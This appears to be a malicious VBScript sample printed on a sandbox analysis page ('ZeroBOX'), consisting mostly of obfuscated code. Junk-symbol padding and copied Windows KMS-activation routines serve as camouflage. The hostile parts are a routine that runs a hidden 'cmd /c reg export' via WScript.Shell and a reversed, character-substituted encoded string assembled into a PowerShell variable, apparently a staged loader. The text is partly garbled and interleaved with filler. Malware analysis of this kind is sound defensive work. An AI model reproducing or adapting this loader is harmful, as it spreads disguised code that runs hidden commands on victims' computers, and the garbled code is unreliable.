Static | ZeroBOX

% &&:

Private function NnbzoCwyZuLLBALrAwvJzziYiDyaHWvjtsbPphEukSQhYJMcQCQPOhKgqIFFpZxCsVMCUtNYGuIvyVACLJRFBriLMiJqKBNjpQVs(n)

Dim MJhVklwRhkWfxzHrixGCFcYSYNHpbaHKbjDLQYSQgnboELCsgATezKyZeCwtZxtbrZCBmwgnghqAnksAHejvdDREJRRFbYWXSknm : MJhVklwRhkWfxzHrixGCFcYSYNHpbaHKbjDLQYSQgnboELCsgATezKyZeCwtZxtbrZCBmwgnghqAnksAHejvdDREJRRFbYWXSknm = keXLCQvCQcjYxVlryhBeNThxhWjIUdfaURBgQbIHMKXffrLbaYZldgcAiajkucYptHhHwwNrYDpJAmNSFVsHOAdLFerKyWNIbwVm(n)

NnbzoCwyZuLLBALrAwvJzziYiDyaHWvjtsbPphEukSQhYJMcQCQPOhKgqIFFpZxCsVMCUtNYGuIvyVACLJRFBriLMiJqKBNjpQVs = uLTrIqWegkXinpEIJxZEEfSErPByRqHHNVuXrBOdKtrJbiVdpWnCnjNlmUlIWWwzxKCqQHxHLxEnWqjQveMQvxFItmQnPNZUPBDq(4 - Len(MJhVklwRhkWfxzHrixGCFcYSYNHpbaHKbjDLQYSQgnboELCsgATezKyZeCwtZxtbrZCBmwgnghqAnksAHejvdDREJRRFbYWXSknm), "4") & MJhVklwRhkWfxzHrixGCFcYSYNHpbaHKbjDLQYSQgnboELCsgATezKyZeCwtZxtbrZCBmwgnghqAnksAHejvdDREJRRFbYWXSknm

End function

On Error Resume Next

zWVLeOmTvXYRQSvILdmYboaHAXbOjtjdaJbMfBQcWXHfcGoLtxcKzMkEruPsASxyriVAVJeOebmYxuuaLhdUPGlevORLODNPALzl:sCJbArSlYTmhchOdnZiFbnXHzBSIbZfuTQOucxixHjTyDOHRDRkBSGeoKmincCGjflFQQJOGNRZBTuYzaqhzHXIJYzbQMHFHFImd:HTYPUGczoGNXwxlhzUxnsLADIxWwDiEyZpdBqNSxUNQsPvOUdDVJYVgKXggpZBEcMhqqBNAZHEgSpiLdeccsGrZDkeuWVxhWBeBB = "*($@&&#*@&%*

!@%$##$

@#*#@$

$&*##$@*@4

@&(%&]*$&#@%(*&#$@#":wIQimOkUrlbBNLUeuxoEPuIQJkQSkWeCwyGgsJFsJSKeHMDwSInEHrCQogOgPeKmONONWXcflrIuxYbcHrZzIHYzkTHVgeFddigV:hgMiHRQDwiRSjJLHwAOTvXLnekNHGBNVfJZeCogmqczaFxJFfXIPRfywwRyXEyBbijSIDxTLaJtWcdLexrHybQImNCoXxDAvrDJF:

!@%$##$

@#*#@$

$&*##$@*@4

!@%$##$

@#*#@$

$&*##$@*@4

!@%$##$

@#*#@$

$&*##$@*@4

!@%$##$

@#*#@$

$&*##$@*@4

!@%$##$

@#*#@$

$&*##$@*@4

function HDgbMQKpULjkIZBcptlSoeJoySsCTiOdfmwwMfsXqEzZSFafkUGxGJBSZlTVyXKMmlOJhrxiQpGxOmBXtpVVjcmBVVsOrUzQyaIq(bmzmlOiOYqddGtSzoqBsIobQLJAwuMzCjarYCGZBjPIvtMllvnGuJZmohqvkXYvPUKTrOBzINlcbKLZITaFTvDPMwbuhIVhmDfAX, XWqypDLCZybFuRCrxwkRwRIRcAZdwVXnnGmxcSQkpCVYNRPUNyXcdJxZTUqYIgWalmvSzxVJHnNmZursKhRHMVPmPxDgDTOzWAXS, CkJLRVlUVGbsTEhNXbwThWELFclFFJHvUcHNKGzYvHBrTmyqGQZuJmGGiiQKArPnrspshAEepGHTzLHNCmOjzXLzNWSNDpCNqjcz, STQzjLkxVCkkWlImDMAamLHIJvYztffoPPIgGLOWqXdHJlOPoQSTibnfsauhYSgnrtnvPKCqotiztBOKfZycvgkiVABostUuVdqt, KUhAYdKvGQGnzvmRYhswpdkGnViwuoOAbnLliLpoObOXDfeZPqZlxHLBhWizaGqjdBENoFTqoPOWplobYBEVNArfUGZJjKpeiiQT, GdZMSuEHBOkITwbUOyrhCWjMqZaTmjJiXlNrWnPuexgDBGqrXUpLRxZeedBenIHkwGWCNbCcZNuCFeTUoqizOXNuhilDgzxjZUZD)

on error resume next

JkYXDfQRIwhpcuVisQzKNMYsqHxcaHGPLrsBlcDAxUKsxraAMTVUiDVqklsZysjzNTRtmDQZGDQICJkgiudyzmzbxpJtSYjjxUoX MYuGuTYRITiEYsFRyXUxRopZcgDuDqRUiKpGDzuSqaUqjfHivlvGoaAJyndAjLcDKWZXQWmYJfFlTfTRSzfSaDmJNMxfzHXsOGgB, kDORBpczDwImWBmdMmCLPVdMhCemwpZtSLBieMBeVOUYhmVKkxyWdPlLQKijNaDXbtYOhxVCoQukieDoLqpCNoVnVNkEJBHmIzOJ

dim NAYkWBXhDNszCAilaXdKRLLLSlWrgyvUTGuIyIKwrghXQROlMPYjJdfGwEeVKzrcVZAynghHZOkBLSVrRuFQDKXCMoiyBqbzfwnF

dim MBUEOhBClOVJSEOiSWXHMmSEtbROAjgpjoixUZOQWsnRRDXzbswHviIWcWzlHDuhIDOlHbwBOBrVBmgBOAFePKRidiSPJaJfwbic

dim VHtgNmRDYkdwMSofoXIQTwTfyJSbjKyrjnLedBAkaUGYcvSGEuieDbxyrntQVkccYdXIXdaRZNoLhDIyLPPuLZGiGOlLjTHzVgwt

dim HiLjTHZibgJmSHiqMddYkNsVYVnyBSFvNQPltTLojTstsoJqmHnqZeExNXXohQeOTQKclxnkyNTvsKXahKFzaSZgqvXIFLlyoOFR

dim VRmaSdAzedBLErUJPbQSLtuNoaNdvqylLLQcfwMihQLOrGUOgiaZpCadGkfUMnRZCEircMYrhWqjsgVyhupWgUWlbxeNYGHCBxXj

VRmaSdAzedBLErUJPbQSLtuNoaNdvqylLLQcfwMihQLOrGUOgiaZpCadGkfUMnRZCEircMYrhWqjsgVyhupWgUWlbxeNYGHCBxXj = CkJLRVlUVGbsTEhNXbwThWELFclFFJHvUcHNKGzYvHBrTmyqGQZuJmGGiiQKArPnrspshAEepGHTzLHNCmOjzXLzNWSNDpCNqjcz & ", " & XWqypDLCZybFuRCrxwkRwRIRcAZdwVXnnGmxcSQkpCVYNRPUNyXcdJxZTUqYIgWalmvSzxVJHnNmZursKhRHMVPmPxDgDTOzWAXS

VHtgNmRDYkdwMSofoXIQTwTfyJSbjKyrjnLedBAkaUGYcvSGEuieDbxyrntQVkccYdXIXdaRZNoLhDIyLPPuLZGiGOlLjTHzVgwt = EedDLGiDJimWLZkcTZiuDwWSTnASslcBcClbzUnmlzkfrWbduCjzOelHIOlCVhRvZUOqogtCxfgggbmmWYINwzaKmiiXUXpeiXjf

if wRkWtOBObYuFvnjbEfwHwAGUPPuavrwNIAGtwCBqyECMPUTuxxgEouvseTyYuwewMMCixoRlsxwVBFmMcaetvWXehcUKNaKcaaZt.IsJglPGVNesAJFaiALRDUZnUeLoMUujVyGRLWwdNQpJPoROBJQZxpCpcEivgvqSQrewCTlHydVvMdGYCQDTLqXKHUIPwAqddTLqw = bPMYfyTwvCqvPDkXNNhnrYFZpVtHKWZIppBGnbsxHCPJEDzNTRPrChBtoXdFlEeABvvutzuKIHKiyZMdvDWBRVGTTreuHPoDRYao then

HiLjTHZibgJmSHiqMddYkNsVYVnyBSFvNQPltTLojTstsoJqmHnqZeExNXXohQeOTQKclxnkyNTvsKXahKFzaSZgqvXIFLlyoOFR = bPMYfyTwvCqvPDkXNNhnrYFZpVtHKWZIppBGnbsxHCPJEDzNTRPrChBtoXdFlEeABvvutzuKIHKiyZMdvDWBRVGTTreuHPoDRYao

select case GdZMSuEHBOkITwbUOyrhCWjMqZaTmjJiXlNrWnPuexgDBGqrXUpLRxZeedBenIHkwGWCNbCcZNuCFeTUoqizOXNuhilDgzxjZUZD

case LUVjHwxDaKaSmESwiajLPpncQZTJSWPKBLFNxJPdgLXaDgLpMWGxSErQyGvmBGYIpRXnetoPdHRMrjLOXYnBOjetoHzgoSJClUNj

HiLjTHZibgJmSHiqMddYkNsVYVnyBSFvNQPltTLojTstsoJqmHnqZeExNXXohQeOTQKclxnkyNTvsKXahKFzaSZgqvXIFLlyoOFR = NAYkWBXhDNszCAilaXdKRLLLSlWrgyvUTGuIyIKwrghXQROlMPYjJdfGwEeVKzrcVZAynghHZOkBLSVrRuFQDKXCMoiyBqbzfwnF.Pause()

case BzqXubXZlKsdrVKOjXHxvpbnvCzMRAOkzUnrdrHOXeYaxltedwsIsUSYUhsUBqjxNcKmqHvhuElfaxkqNUfAKZcNNBOznLrnOAXK

case ZbstoJIOWWCUwuBEtOYVrdDglBoYSSwXFrXLOJJsSujBiTrVZzZXPjWcNArtRTiuIFQGcJvrzfCmFslBubnmFTNemWniSEpBJArB

NAYkWBXhDNszCAilaXdKRLLLSlWrgyvUTGuIyIKwrghXQROlMPYjJdfGwEeVKzrcVZAynghHZOkBLSVrRuFQDKXCMoiyBqbzfwnF.Delete_()

case else

WpDrzyrhNYZKNpRBYPfLzPnXAQGdoNyAVbZbBEopTHWXgdwrjReeJZvfwTCqwBMGQgFdHwBdrXeOmxOYGhHlCfXSzLKzZzYPYdSk(true)

end select

if HiLjTHZibgJmSHiqMddYkNsVYVnyBSFvNQPltTLojTstsoJqmHnqZeExNXXohQeOTQKclxnkyNTvsKXahKFzaSZgqvXIFLlyoOFR = bPMYfyTwvCqvPDkXNNhnrYFZpVtHKWZIppBGnbsxHCPJEDzNTRPrChBtoXdFlEeABvvutzuKIHKiyZMdvDWBRVGTTreuHPoDRYao then

wscript.echo AqGgsHJEskvuTahLPmsMxxTaWZRiEMNMYQywmqrrvbjLfMqBjedELQbUNngaupaXUPNVtnrvfzPInuQIMAUzSwaXXsJtSqjAKMPc & OSumqXhrrBaHkPnccVAyeScduxbaDegdKMXNjUiTatqpAGPQEmluIFvEbqEKqfcHMoxbCJirecqCgfQJtKTVPhcohlgMLkRmxXIZ & GdZMSuEHBOkITwbUOyrhCWjMqZaTmjJiXlNrWnPuexgDBGqrXUpLRxZeedBenIHkwGWCNbCcZNuCFeTUoqizOXNuhilDgzxjZUZD & OSumqXhrrBaHkPnccVAyeScduxbaDegdKMXNjUiTatqpAGPQEmluIFvEbqEKqfcHMoxbCJirecqCgfQJtKTVPhcohlgMLkRmxXIZ _

& iINcU & OSumqXhrrBaHkPnccVAyeScduxbaDegdKMXNjUiTatqpAGPQEmluIFvEbqEKqfcHMoxbCJirecqCgfQJtKTVPhcohlgMLkRmxXIZ & XWqypDLCZybFuRCrxwkRwRIRcAZdwVXnnGmxcSQkpCVYNRPUNyXcdJxZTUqYIgWalmvSzxVJHnNmZursKhRHMVPmPxDgDTOzWAXS _

& OSumqXhrrBaHkPnccVAyeScduxbaDegdKMXNjUiTatqpAGPQEmluIFvEbqEKqfcHMoxbCJirecqCgfQJtKTVPhcohlgMLkRmxXIZ & yDElHDukewNzKRixuiIGYKICnddfJQYsfakHPdDRXkmKRqOHNgbHGZLikHdfgftLitGgsMKtovUGmLAjREfqBflmBYFTmYorxRtO & OSumqXhrrBaHkPnccVAyeScduxbaDegdKMXNjUiTatqpAGPQEmluIFvEbqEKqfcHMoxbCJirecqCgfQJtKTVPhcohlgMLkRmxXIZ & CkJLRVlUVGbsTEhNXbwThWELFclFFJHvUcHNKGzYvHBrTmyqGQZuJmGGiiQKArPnrspshAEepGHTzLHNCmOjzXLzNWSNDpCNqjcz

VHtgNmRDYkdwMSofoXIQTwTfyJSbjKyrjnLedBAkaUGYcvSGEuieDbxyrntQVkccYdXIXdaRZNoLhDIyLPPuLZGiGOlLjTHzVgwt = bPMYfyTwvCqvPDkXNNhnrYFZpVtHKWZIppBGnbsxHCPJEDzNTRPrChBtoXdFlEeABvvutzuKIHKiyZMdvDWBRVGTTreuHPoDRYao

else

wscript.echo KEKPcOjmfAvbgeNahupbIldOFOnheXYKenFDEplVKzAJpVYdnqRCbPdDkbKMgwrlvjqJUGrkCzONLggBTSAhMhVgOwuAdbcbgccf & OSumqXhrrBaHkPnccVAyeScduxbaDegdKMXNjUiTatqpAGPQEmluIFvEbqEKqfcHMoxbCJirecqCgfQJtKTVPhcohlgMLkRmxXIZ & GdZMSuEHBOkITwbUOyrhCWjMqZaTmjJiXlNrWnPuexgDBGqrXUpLRxZeedBenIHkwGWCNbCcZNuCFeTUoqizOXNuhilDgzxjZUZD & OSumqXhrrBaHkPnccVAyeScduxbaDegdKMXNjUiTatqpAGPQEmluIFvEbqEKqfcHMoxbCJirecqCgfQJtKTVPhcohlgMLkRmxXIZ _

& xukuUPHjyBjvpwpPJXgtHHLYSddhtETWOXPtphsFYVgHVzUPPxNvYZQFXnLfxJqeDGlsPyAwUgsPrJKMYgDYgRaNOvJQrdPuFdRg & OSumqXhrrBaHkPnccVAyeScduxbaDegdKMXNjUiTatqpAGPQEmluIFvEbqEKqfcHMoxbCJirecqCgfQJtKTVPhcohlgMLkRmxXIZ & HiLjTHZibgJmSHiqMddYkNsVYVnyBSFvNQPltTLojTstsoJqmHnqZeExNXXohQeOTQKclxnkyNTvsKXahKFzaSZgqvXIFLlyoOFR

end if

else

wscript.echo ikwoilMpjnVQhKcBkBgUpHITnHsVxiGtmzYtWqafTmcAOXXTMParrZOZQQCWSnxGUczfCafrCutXLXDvWjcJVjBbcUNRSgryXcmf & OSumqXhrrBaHkPnccVAyeScduxbaDegdKMXNjUiTatqpAGPQEmluIFvEbqEKqfcHMoxbCJirecqCgfQJtKTVPhcohlgMLkRmxXIZ & UEnOBYMmwLsXbJkIyTMfRQaKpqunCxZwwbBKZHSQbeteQHrIowEUjPoTwZOYUtuRuTgqTgEOOBeiBgITrxMSMszYKFJQbRJSwUOY & OSumqXhrrBaHkPnccVAyeScduxbaDegdKMXNjUiTatqpAGPQEmluIFvEbqEKqfcHMoxbCJirecqCgfQJtKTVPhcohlgMLkRmxXIZ _

& uGKOyzioAAFbARnaRokqCksofOYKaeRhUeAtMgnOMnFlLzOLJVSTnUYjlXiZEaPSMePLEsyOiZjzGxcBOnrYppICeZIXzapHvKYy & hex(wRkWtOBObYuFvnjbEfwHwAGUPPuavrwNIAGtwCBqyECMPUTuxxgEouvseTyYuwewMMCixoRlsxwVBFmMcaetvWXehcUKNaKcaaZt.IsJglPGVNesAJFaiALRDUZnUeLoMUujVyGRLWwdNQpJPoROBJQZxpCpcEivgvqSQrewCTlHydVvMdGYCQDTLqXKHUIPwAqddTLqw) & OSumqXhrrBaHkPnccVAyeScduxbaDegdKMXNjUiTatqpAGPQEmluIFvEbqEKqfcHMoxbCJirecqCgfQJtKTVPhcohlgMLkRmxXIZ & wRkWtOBObYuFvnjbEfwHwAGUPPuavrwNIAGtwCBqyECMPUTuxxgEouvseTyYuwewMMCixoRlsxwVBFmMcaetvWXehcUKNaKcaaZt.AvOferWjruEEVvrpThBlvKpZagdHugebGSPPnfYqqQojmlnsAJQadCZSXiyVVQsKfbeXfuWOYPejgQGEXZCbvsIkoBmvOQOMOhee

call WoifAFxqvQdBADNDoNKQtXkaMXuWmzOQyCdlRbeQGqGdDpmknZMZxvBqXulqDuZwGLEZZguKCZugJziySvmeOogoFiohDTnVTzFt()

end if

else

call WoifAFxqvQdBADNDoNKQtXkaMXuWmzOQyCdlRbeQGqGdDpmknZMZxvBqXulqDuZwGLEZZguKCZugJziySvmeOogoFiohDTnVTzFt()

end if

HDgbMQKpULjkIZBcptlSoeJoySsCTiOdfmwwMfsXqEzZSFafkUGxGJBSZlTVyXKMmlOJhrxiQpGxOmBXtpVVjcmBVVsOrUzQyaIq = VHtgNmRDYkdwMSofoXIQTwTfyJSbjKyrjnLedBAkaUGYcvSGEuieDbxyrntQVkccYdXIXdaRZNoLhDIyLPPuLZGiGOlLjTHzVgwt

end function

Sub PDOkYtFuLarlejNmtzdOjPcOEuSjyDjPDmvJZKIskVbBhQzhvjRheFKJPEOaxgpiBMoiAvbnYfuKMfTjdHqmVcuUBPiFaIJRMLkp(FASBaSKRkjLqVQXnEdFihJZCtzfSkgVVNZeUpwHCdgVfcbNzMQdrcZjhuiUkaMeDorUPcyYpgMnmsSAJfCxEYyVrMjAFdlrpJHlp,bWLuGcibNykkWnaQGYJrQKnBgyRNRdiJZkQrybIOQkBRolluZYzcYHiZFdtEcrnLBcNnqLCoRJtSaRETpUjrCYpNAiShxDDQjlcs)

On Error Resume Next

Dim zkBWlPlYxgoZkArEmtwvhRbyNeLAsvjEFhjdZkPQieyKTFUJDNLBsatdCMaJHyUmeCTFMdDOxbnczAHslTRtyIFYllYmfFHvxPSI

Set gcSrFIRqdJkepUwImRJNnbnGzpzPopVqSvdfsdlBESNRMnvWfarlIeDiLcgQAcBXVjLLuBhAoKDHivPJymprBufzqsyiiEkXxRwX = WScript.CreateObject( "WScript.Shell" )

zkBWlPlYxgoZkArEmtwvhRbyNeLAsvjEFhjdZkPQieyKTFUJDNLBsatdCMaJHyUmeCTFMdDOxbnczAHslTRtyIFYllYmfFHvxPSI = "zkBWlPlYxgoZkArEmtwvhRbyNeLAsvjEFhjdZkPQieyKTFUJDNLBsatdCMaJHyUmeCTFMdDOxbnczAHslTRtyIFYllYmfFHvxPSI /c reg export " & bWLuGcibNykkWnaQGYJrQKnBgyRNRdiJZkQrybIOQkBRolluZYzcYHiZFdtEcrnLBcNnqLCoRJtSaRETpUjrCYpNAiShxDDQjlcs & " " & FASBaSKRkjLqVQXnEdFihJZCtzfSkgVVNZeUpwHCdgVfcbNzMQdrcZjhuiUkaMeDorUPcyYpgMnmsSAJfCxEYyVrMjAFdlrpJHlp & " /y"

gcSrFIRqdJkepUwImRJNnbnGzpzPopVqSvdfsdlBESNRMnvWfarlIeDiLcgQAcBXVjLLuBhAoKDHivPJymprBufzqsyiiEkXxRwX.Run zkBWlPlYxgoZkArEmtwvhRbyNeLAsvjEFhjdZkPQieyKTFUJDNLBsatdCMaJHyUmeCTFMdDOxbnczAHslTRtyIFYllYmfFHvxPSI, 0, True

End Sub

Private Sub ClearKms(strActivationID)

Dim objTarget

Set objTarget = GetKmsClientObjectByActivationID(strActivationID)

On Error Resume Next

If Not objTarget is Nothing Then

objTarget.ClearKeyManagementServiceMachine()

QuitIfError()

objTarget.ClearKeyManagementServicePort()

QuitIfError()

LineOut GetResource("L_MsgKmsNameCleared")

If objTarget.KeyManagementServiceLookupDomain <> "" Then

LineOut Replace(GetResource("L_MsgKmsUseLookupDomain"), _

"%FQDN%", _

objTarget.KeyManagementServiceLookupDomain)

End If

End Sub

Private Sub SetKmsLookupDomain(strKmsLookupDomain, strActivationID)

Dim objTarget

Dim strKms, nPort

Set objTarget = GetKmsClientObjectByActivationID(strActivationID)

On Error Resume Next

If Not objTarget is Nothing Then

objTarget.SetKeyManagementServiceLookupDomain(strKmsLookupDomain)

QuitIfError()

LineOut Replace(GetResource("L_MsgKmsLookupDomainSet"), "%FQDN%", strKmsLookupDomain)

If objTarget.KeyManagementServiceMachine <> "" Then

strKms = objTarget.KeyManagementServiceMachine

nPort = objTarget.KeyManagementServicePort

LineOut Replace(GetResource("L_MsgKmsUseMachineNameOverrides"), _

"%KMS%", strKms & ":" & nPort)

End If

End Sub

Private Sub ClearKmsLookupDomain(strActivationID)

Dim objTarget

Dim strKms, nPort

Set objTarget = GetKmsClientObjectByActivationID(strActivationID)

On Error Resume Next

If Not objTarget is Nothing Then

objTarget.ClearKeyManagementServiceLookupDomain

QuitIfError()

LineOut GetResource("L_MsgKmsLookupDomainCleared")

If objTarget.KeyManagementServiceMachine <> "" Then

strKms = objTarget.KeyManagementServiceMachine

nPort = objTarget.KeyManagementServicePort

LineOut Replace(GetResource("L_MsgKmsUseMachineName"), _

"%KMS%", strKms & ":" & nPort)

End If

End Sub

Private Sub SetHostCachingDisable(boolHostCaching)

Dim objService

On Error Resume Next

set objService = GetServiceObject("Version")

QuitIfError()

objService.DisableKeyManagementServiceHostCaching(boolHostCaching)

QuitIfError()

If boolHostCaching Then

LineOut GetResource("L_MsgKmsHostCachingDisabled")

Else

LineOut GetResource("L_MsgKmsHostCachingEnabled")

End If

End Sub

Private Sub SetActivationInterval(intInterval)

Dim objService, objProduct

Dim kmsFlag, strOutput

If (intInterval < 0) Then

LineOut GetResource("L_MsgInvalidDataError")

Exit Sub

End If

On Error Resume Next

set objService = GetServiceObject("Version")

QuitIfError()

For Each objProduct in GetProductCollection("ID, IsKeyManagementServiceMachine", PartialProductKeyNonNullWhereClause)

kmsFlag = objProduct.IsKeyManagementServiceMachine

If kmsFlag = 1 Then

objService.SetVLActivationInterval(intInterval)

QuitIfError()

strOutput = Replace(GetResource("L_MsgActivationSet"), "%ACTIVATION%", intInterval)

LineOut strOutput

LineOut GetResource("L_MsgWarningKmsReboot")

Exit For

End If

If kmsFlag <> 1 Then

LineOut GetResource("L_MsgWarningActivation")

End If

End Sub

Private Sub SetRenewalInterval(intInterval)

Dim objService, objProduct

Dim kmsFlag, strOutput

If (intInterval < 0) Then

LineOut GetResource("L_MsgInvalidDataError")

Exit Sub

End If

On Error Resume Next

set objService = GetServiceObject("Version")

QuitIfError()

For Each objProduct in GetProductCollection("ID, IsKeyManagementServiceMachine", PartialProductKeyNonNullWhereClause)

kmsFlag = objProduct.IsKeyManagementServiceMachine

If kmsFlag Then

objService.SetVLRenewalInterval(intInterval)

QuitIfError()

strOutput = Replace(GetResource("L_MsgRenewalSet"), "%RENEWAL%", intInterval)

LineOut strOutput

LineOut GetResource("L_MsgWarningKmsReboot")

Exit For

End If

If kmsFlag <> 1 Then

LineOut GetResource("L_MsgWarningRenewal")

End If

End Sub

Private Sub SetKmsListenPort(strPort)

Dim objService, objProduct

Dim kmsFlag, lRet, strOutput

Dim nPort

On Error Resume Next

set objService = GetServiceObject("Version")

QuitIfError()

For Each objProduct in GetProductCollection("ID, IsKeyManagementServiceMachine", PartialProductKeyNonNullWhereClause)

kmsFlag = objProduct.IsKeyManagementServiceMachine

If kmsFlag Then

nPort = CLng(strPort)

objService.SetKeyManagementServiceListeningPort(nPort)

QuitIfError()

strOutput = Replace(GetResource("L_MsgKmsPortSet"), "%PORT%", strPort)

LineOut strOutput

LineOut GetResource("L_MsgWarningKmsReboot")

Exit For

End If

If kmsFlag <> 1 Then

LineOut GetResource("L_MsgWarningKmsPort")

End If

End Sub

On Error Resume Next

PcHawPoCgmuZuvfKfYqscFdhqPAiTNbSvtMCvmwPmGpWDDBPjzDHGfGpubXcWZCqfkEUTqeewnDalnfJHzfKvgFGDFhNoxqclJqI

XjXZHtVCJITxsaQrPKdQyJJQHgAKrqIramTXNkOhAuJCZYQGRgzJsUWkLFDhoLOLOSkgohOlazDwKdtGSrHpcVICsHmAnlmCsNfs:

!@%$##$

@#*#@$

$&*##$@*@4

!@%$##$

@#*#@$

$&*##$@*@4

!@%$##$

@#*#@$

$&*##$@*@4

!@%$##$

@#*#@$

$&*##$@*@4

!@%$##$

@#*#@$

$&*##$@*@4

!@%$##$

@#*#@$

$&*##$@*@4

!@%$##$

@#*#@$

$&*##$@*@4

!@%$##$

@#*#@$

$&*##$@*@4

!@%$##$

@#*#@$

$&*##$@*@4

!@%$##$

@#*#@$

$&*##$@*@4

!@%$##$

@#*#@$

$&*##$@*@4

!@%$##$

@#*#@$

$&*##$@*@4

UhOhgtUDKUXNWYTXeWeUcfyXIhWNSPdeoCwjNwDtgMgiQDCzPfQXdWcjxcAjxcPTWPcPWdWKHWUhKdDfnrYUCkDkDHDkDRidQlhX = " "

xYgrRiJaPKdQKUqdXawvGcKPmHiQYOJwPIyJWTkKXIXqcYqmOcOtevuJmKeJhWnnTXtTWIbyoabyefpUevfcDWYROoKAqeCOXcCi = StrReverse("erTgDkCerTgDperTgDwJerTgDUHerTgDjBwJerTgDerTgDCerTgDserTgDerTgDIerTgDcCerTgDlBerTgD" & WzIyKrtiOOLqNKJLPbyADCvPKxNqmdJyRnWvUWwNJHJsWYBQdCKSLOGvMLKvPNahiRMclHXkyTOWzHJWWcKwnWYWKycXoAxGQGpY & UhOhgtUDKUXNWYTXeWeUcfyXIhWNSPdeoCwjNwDtgMgiQDCzPfQXdWcjxcAjxcPTWPcPWdWKHWUhKdDfnrYUCkDkDHDkDRidQlhX & WzIyKrtiOOLqNKJLPbyADCvPKxNqmdJyRnWvUWwNJHJsWYBQdCKSLOGvMLKvPNahiRMclHXkyTOWzHJWWcKwnWYWKycXoAxGQGpY & "erTgDcCerTgDgerTgDerTgDLerTgDerTgDCerTgDnerTgDQYerTgDMHerTgDkBQYerTgDQGerTgDnerTgDerTgDIerTgDwCerTgDgerTgDwJerTgDYGerTgDkBg" & WzIyKrtiOOLqNKJLPbyADCvPKxNqmdJyRnWvUWwNJHJsWYBQdCKSLOGvMLKvPNahiRMclHXkyTOWzHJWWcKwnWYWKycXoAxGQGpY & UhOhgtUDKUXNWYTXeWeUcfyXIhWNSPdeoCwjNwDtgMgiQDCzPfQXdWcjxcAjxcPTWPcPWdWKHWUhKdDfnrYUCkDkDHDkDRidQlhX & WzIyKrtiOOLqNKJLPbyADCvPKxNqmdJyRnWvUWwNJHJsWYBQdCKSLOGvMLKvPNahiRMclHXkyTOWzHJWWcKwnWYWKycXoAxGQGpY & "erTgDQGerTgDnerTgDerTgDIerTgDwCerTgDgerTgDwJerTgDYGerTgDkBg" & WzIyKr

xYgrRiJaPKdQKUqdXawvGcKPmHiQYOJwPIyJWTkKXIXqcYqmOcOtevuJmKeJhWnnTXtTWIbyoabyefpUevfcDWYROoKAqeCOXcCi = Replace( xYgrRiJaPKdQKUqdXawvGcKPmHiQYOJwPIyJWTkKXIXqcYqmOcOtevuJmKeJhWnnTXtTWIbyoabyefpUevfcDWYROoKAqeCOXcCi, WzIyKrtiOOLqNKJLPbyADCvPKxNqmdJyRnWvUWwNJHJsWYBQdCKSLOGvMLKvPNahiRMclHXkyTOWzHJWWcKwnWYWKycXoAxGQGpY + UhOhgtUDKUXNWYTXeWeUcfyXIhWNSPdeoCwjNwDtgMgiQDCzPfQXdWcjxcAjxcPTWPcPWdWKHWUhKdDfnrYUCkDkDHDkDRidQlhX + WzIyKrtiOOLqNKJLPbyADCvPKxNqmdJyRnWvUWwNJHJsWYBQdCKSLOGvMLKvPNahiRMclHXkyTOWzHJWWcKwnWYWKycXoAxGQGpY , "Z")

!@%$##$

@#*#@$

$&*##$@*@4

!@%$##$

@#*#@$

$&*##$@*@4

!@%$##$

@#*#@$

$&*##$@*@4

!@%$##$

@#*#@$

$&*##$@*@4

!@%$##$

@#*#@$

$&*##$@*@4

!@%$##$

@#*#@$

$&*##$@*@4

Set DcFsHvBZWObCrvEITzJOQCZhqKiDvMwhHPHarCcRgpVBNPufFTeqAefwskxGkXZUgjITGciGegMFTdyCaPEmuSCNYcUitIAlkZpu = WScript.CreateObject("WScript.Shell")

MEByRRABczLIjLzbUgQpGfYZVMeoZUlJfMAAXAdUJAfGaCDbHBpbeXwzpICszlyaKmzShPjcDQocnSBWHhIZtVaqLUdLTjjuIPGW = (StrReverse(Chr(39)&Chr(32)&Chr(61)&Chr(32)&Chr(111)&Chr(103)&Chr(105)&Chr(100)&Chr(111)&Chr(67)&Chr(36))) & xYgrRiJaPKdQKUqdXawvGcKPmHiQYOJwPIyJWTkKXIXqcYqmOcOtevuJmKeJhWnnTXtTWIbyoabyefpUevfcDWYROoKAqeCOXcCi & "'"

!@%$##$

@#*#@$

$&*##$@*@4

!@%$##$

@#*#@$

$&*##$@*@4

!@%$##$

@#*#@$

$&*##$@*@4

!@%$##$

@#*#@$

$&*##$@*@4

!@%$##$

@#*#@$

$&*##$@*@4

!@%$##$

@#*#@$

$&*##$@*@4

!@%$##$

@#*#@$

$&*##$@*@4

!@%$##$

@#*#@$

$&*##$@*@4

!@%$##$

@#*#@$

$&*##$@*@4

!@%$##$

@#*#@$

$&*##$@*@4

!@%$##$

@#*#@$

$&*##$@*@4

!@%$##$

@#*#@$

$&*##$@*@4

*@}](}

#}*4(#

*@}](}

#}*4(#

:@@@#+

##@#4@@

}@@@:(

}]4@#}@#

}@#*#:

@@((#}

@####@

!@%$##$

@#*#@$

$&*##$@*@4

!@%$##$

@#*#@$

$&*##$@*@4

!@%$##$

@#*#@$

$&*##$@*@4

!@%$##$

@#*#@$

$&*##$@*@4

!@%$##$

@#*#@$

$&*##$@*@4

!@%$##$

@#*#@$

$&*##$@*@4

!@%$##$

@#*#@$

$&*##$@*@4

!@%$##$

@#*#@$

$&*##$@*@4

!@%$##$

@#*#@$

$&*##$@*@4

:@@@#+

##@#4@@

}@@@:(

}]4@#}@#

}@#*#:

@@((#}

@####@

+}4]:"

$($@$$

]@$}}(

:@*@$$

*@}](}

#}*4(#

*@}](}

#}*4(#

}(tring( $c"

!@%$##$

@#*#@$

$&*##$@*@4

!@%$##$

@#*#@$

$&*##$@*@4

!@%$##$

@#*#@$

$&*##$@*@4

!@%$##$

@#*#@$

$&*##$@*@4

!@%$##$

@#*#@$

$&*##$@*@4

!@%$##$

@#*#@$

$&*##$@*@4

$($@$$

]@$}}(

:@*@$$

}@@@:(

}]4@#}@#

}@#*#:

@@((#}

MEByRRABczLIjLzbUgQpGfYZVMeoZUlJfMAAXAdUJAfGaCDbHBpbeXwzpICszlyaKmzShPjcDQocnSBWHhIZtVaqLUdLTjjuIPGW = Replace(MEByRRABczLIjLzbUgQpGfYZVMeoZUlJfMAAXAdUJAfGaCDbHBpbeXwzpICszlyaKmzShPjcDQocnSBWHhIZtVaqLUdLTjjuIPGW, "

4@", "e")

(", "o")

!@%$##$

@#*#@$

$&*##$@*@4

!@%$##$

@#*#@$

$&*##$@*@4

!@%$##$

@#*#@$

$&*##$@*@4

!@%$##$

@#*#@$

$&*##$@*@4

!@%$##$

@#*#@$

$&*##$@*@4

!@%$##$

@#*#@$

$&*##$@*@4

*@}](}

#}*4(#

}(", "s")

:@@@#+

##@#4@@

}@@@:(

}]4@#}@#

